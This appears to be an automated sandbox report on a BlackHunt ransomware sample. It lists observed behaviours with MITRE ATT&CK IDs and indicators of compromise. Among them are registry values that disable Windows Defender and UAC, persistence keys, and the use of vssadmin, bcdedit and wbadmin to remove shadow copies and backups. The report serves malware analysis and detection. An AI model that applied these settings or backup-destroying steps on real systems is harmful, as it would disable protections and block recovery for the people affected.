bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44

Data Destruction

T1485

pid	Process
5380	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3656	bcdedit.exe
1948	bcdedit.exe

Renames multiple (343) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5448	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\A:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\J:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\X:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\V:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\W:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\T:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\I:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\N:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\B:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\H:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\K:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\Z:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\P:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\M:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\Q:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\Y:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\U:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\L:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\E:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\R:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\S:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\G:	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\cacerts	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\directshow.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\7-Zip\Lang\id.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\mesa3d.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jvisualvm.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\javaws.policy	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\gstreamer.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xerces.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 6.0.25 (x64).swidtag	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\colorimaging.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jdwpTransport.h	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dynalink.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.hta	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\lcms.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ps.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\default.jfc	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.hta	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\#BlackHunt_ReadMe.hta	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\GRAY.pf	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_ReadMe.hta	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\javafx-mx.jar	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.hta	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\#BlackHunt_ReadMe.hta	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_fr.properties	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\classes.jsa	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\jmxremote.password.template	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\webkit.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\#BlackHunt_ReadMe.hta	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_ReadMe.hta	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\bcel.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_MoveDrop32x32.gif	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.txt	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_Private.key	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xerces.md	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\nashorn.jar	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5436	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5404	vssadmin.exe
4592	vssadmin.exe
5976	vssadmin.exe
6112	vssadmin.exe
6100	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
Token: SeRestorePrivilege	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
Token: SeBackupPrivilege	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
Token: SeTakeOwnershipPrivilege	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
Token: SeAuditPrivilege	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
Token: SeSecurityPrivilege	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
Token: SeIncBasePriorityPrivilege	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
Token: SeBackupPrivilege	4572	vssvc.exe
Token: SeRestorePrivilege	4572	vssvc.exe
Token: SeAuditPrivilege	4572	vssvc.exe
Token: SeBackupPrivilege	5412	wbengine.exe
Token: SeRestorePrivilege	5412	wbengine.exe
Token: SeSecurityPrivilege	5412	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3428 wrote to memory of 3876	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	90
PID 3428 wrote to memory of 3876	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	90
PID 3428 wrote to memory of 4504	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	92
PID 3428 wrote to memory of 4504	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	92
PID 3428 wrote to memory of 4924	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	94
PID 3428 wrote to memory of 4924	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	94
PID 3428 wrote to memory of 2416	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	98
PID 3428 wrote to memory of 2416	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	98
PID 3428 wrote to memory of 412	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	96
PID 3428 wrote to memory of 412	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	96
PID 3428 wrote to memory of 4400	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	100
PID 3428 wrote to memory of 4400	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	100
PID 3428 wrote to memory of 1836	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	148
PID 3428 wrote to memory of 1836	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	148
PID 3428 wrote to memory of 3528	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	102
PID 3428 wrote to memory of 3528	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	102
PID 3428 wrote to memory of 4572	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	147
PID 3428 wrote to memory of 4572	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	147
PID 3428 wrote to memory of 1860	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	104
PID 3428 wrote to memory of 1860	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	104
PID 3428 wrote to memory of 4140	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	119
PID 3428 wrote to memory of 4140	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	119
PID 3428 wrote to memory of 2124	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	106
PID 3428 wrote to memory of 2124	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	106
PID 3428 wrote to memory of 2244	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	118
PID 3428 wrote to memory of 2244	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	118
PID 3428 wrote to memory of 2996	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	117
PID 3428 wrote to memory of 2996	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	117
PID 3428 wrote to memory of 3000	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	110
PID 3428 wrote to memory of 3000	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	110
PID 3428 wrote to memory of 5004	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	112
PID 3428 wrote to memory of 5004	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	112
PID 3428 wrote to memory of 636	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	114
PID 3428 wrote to memory of 636	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	114
PID 3428 wrote to memory of 736	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	144
PID 3428 wrote to memory of 736	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	144
PID 3428 wrote to memory of 560	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	121
PID 3428 wrote to memory of 560	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	121
PID 3428 wrote to memory of 4628	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	123
PID 3428 wrote to memory of 4628	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	123
PID 3428 wrote to memory of 1180	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	142
PID 3428 wrote to memory of 1180	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	142
PID 3428 wrote to memory of 1016	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	125
PID 3428 wrote to memory of 1016	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	125
PID 3428 wrote to memory of 544	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	127
PID 3428 wrote to memory of 544	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	127
PID 3428 wrote to memory of 1272	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	129
PID 3428 wrote to memory of 1272	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	129
PID 3428 wrote to memory of 3384	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	131
PID 3428 wrote to memory of 3384	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	131
PID 3428 wrote to memory of 1668	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	133
PID 3428 wrote to memory of 1668	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	133
PID 3428 wrote to memory of 460	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	140
PID 3428 wrote to memory of 460	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	140
PID 3428 wrote to memory of 4296	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	137
PID 3428 wrote to memory of 4296	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	137
PID 3428 wrote to memory of 4608	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	136
PID 3428 wrote to memory of 4608	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	136
PID 3428 wrote to memory of 4948	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	139
PID 3428 wrote to memory of 4948	3428	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe	139
PID 3876 wrote to memory of 3192	3876	cmd.exe	138
PID 3876 wrote to memory of 3192	3876	cmd.exe	138
PID 4504 wrote to memory of 3188	4504	cmd.exe	152
PID 4504 wrote to memory of 3188	4504	cmd.exe	152

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe
